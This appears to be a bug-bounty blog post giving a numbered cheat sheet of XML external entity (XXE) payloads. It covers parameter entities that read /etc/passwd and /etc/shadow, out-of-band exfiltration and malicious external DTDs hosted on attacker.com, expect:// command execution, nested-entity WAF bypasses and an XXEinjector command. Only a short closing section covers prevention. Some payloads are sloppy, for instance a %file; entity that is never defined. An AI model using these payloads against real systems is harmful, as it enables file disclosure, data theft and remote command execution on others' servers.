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Ever wonder why your XXE payloads are getting blocked? Standard entity declarations like:
<!ENTITY xxe SYSTEM "http://attacker-site.com/">
…are often filtered by security systems. However, parameter entities can bypass these restrictions.
You Should Know:
1. Parameter Entities vs. General Entities
General entities are blocked more frequently, while parameter entities (declared with %) evade detection:
<!ENTITY % param_entity SYSTEM "file:///etc/passwd"> %param_entity;
2. Out-of-Band (OOB) Exploitation
Use parameter entities to exfiltrate data via DNS or HTTP:
<!ENTITY % oob_entity SYSTEM "http://attacker.com/?exfil=%file;">
3. Bypassing Filters with Encoding
Try hex/URL encoding:
<!ENTITY % encoded_entity SYSTEM "http://attacker.com/%3Fdata%3D">
4. Local File Inclusion (LFI) via XXE
Extract files using:
<!ENTITY % lfi_entity SYSTEM "file:///etc/shadow">
5. Blind XXE Detection
Test with DNS callbacks:
<!ENTITY % blind_entity SYSTEM "http://attacker.burpcollaborator.net">
6. DTD External Reference
Host a malicious DTD:
<!ENTITY % ext_dtd SYSTEM "http://attacker.com/malicious.dtd"> %ext_dtd;
7. Linux/Windows Command Execution
For PHP-based apps:
<!ENTITY % cmd_entity SYSTEM "expect://id">
8. WAF Bypass Techniques
- Use CDATA tags to mask payloads.
- Nested entities:
<!ENTITY % nested1 "<!ENTITY &x25; nested2 SYSTEM 'http://attacker.com/'>">
9. Automated Testing with XXEinjector
Run:
ruby XXEinjector.rb --host=attacker.com --file=payload.xml
10. Prevention Checks
Disable external entities in XML parsers:
- PHP: `libxml_disable_entity_loader(true);`
- Java: `setFeature(“http://apache.org/xml/features/disallow-doctype-decl”, true);`
What Undercode Say
XXE remains a critical attack vector due to misconfigured XML parsers. Always test for:
– DTD processing in APIs (SOAP, REST).
– Server-side request forgery (SSRF) via external entities.
– File disclosure in cloud metadata endpoints (file:///proc/self/environ).
– Error-based XXE when OOB fails.
Use tools like Burp Suite, XXEinjector, and OOB-Server for detection.
Expected Output:
A successful XXE exploit exfiltrates sensitive data or executes remote commands. Always validate inputs and disable unnecessary XML features in production.
Relevant URLs:
References:
Reported By: Amitkumar711 Bugbounty – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
